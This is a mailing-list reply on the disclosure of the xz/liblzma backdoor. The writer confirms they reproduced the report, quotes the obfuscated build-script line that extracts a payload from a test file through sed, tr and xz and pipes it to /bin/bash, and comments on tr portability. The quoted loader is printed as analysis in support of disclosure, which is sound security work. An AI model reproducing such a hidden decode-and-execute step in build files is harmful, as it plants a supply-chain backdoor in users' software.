Re: backdoor in upstream xz/liblzma leading to ssh server compromise

[sjw () gmx ch]

Hi Andres,

Thank you for sharing your findings, I'm able to reproduce your results.

> which ends up as
> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "	 
\-_" " 	_\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>
> Leaving out the "| bash" that produces
>
> ####Hello####
> [...]


The expression in the tr command might be a bit tricky to copy the 
report because of the whitespace characters. The original expression is 
found here:

https://salsa.debian.org/debian/xz-utils/-/blob/46cb28adbbfb8f50a10704c1b86f107d077878e6/m4/build-to-host.m4#L95

This kind of expression is not supported by BusyBox' implementation of 
'tr'. GNU's and uutils' coreutils both worked for me.

Attachment: OpenPGP_signature.asc
Description: OpenPGP digital signature